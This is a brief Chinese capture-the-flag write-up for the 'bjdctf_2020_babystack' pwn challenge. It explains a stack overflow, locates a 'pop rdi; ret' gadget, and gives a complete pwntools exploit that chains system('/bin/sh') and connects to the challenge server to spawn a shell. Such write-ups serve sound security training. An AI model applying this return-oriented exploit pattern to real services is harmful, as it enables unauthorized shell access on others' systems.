小白做题笔记而已,不建议阅读
只有一个NX
64为程序用rdi传参
read函数存在栈溢出
shift f12
有system函数调用,并且存在/bin/sh
去找有没有pop rdi ret
ROPgadget --binary bjdctf_2020_babystack --only "pop|ret" | grep rdi
0x0000000000400833 : pop rdi ; ret
有的,所以我们的利用思路就是将返回地址先覆盖为pop rdi ;ret 的地址,将参数(/bin/sh)传入rdi
那么pop rdi ;ret 后边的内容就应该是/bin/sh的地址了。
然后再将system的地址填充进去,这样pop rdi ;ret;执行ret的时候就会去执行system
exp
from pwn import *
debug=0
if debug:
p=process('./bjdctf_2020_babystack')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
# gdb.attach(p)
else:
p=remote('node4.buuoj.cn',25681)
def ru(x):
return p.recvuntil(x)
def sel(x):
p.sendline(x)
# ROPgadget --binary bjdctf_2020_babystack --only "pop|ret" | grep rdi
#0x0000000000400833 : pop rdi ; ret
sys_add=p64(0x0000000000400590)
bin_sh_add=p64(0x0000000000400858)
pop_rdi_add=p64(0x0000000000400833)
payload=b'a'*(0x10+8)+pop_rdi_add+bin_sh_add+sys_add
ru(b'name:\n')
sel(b'666')
ru('name?\n')
sel(payload)
p.interactive()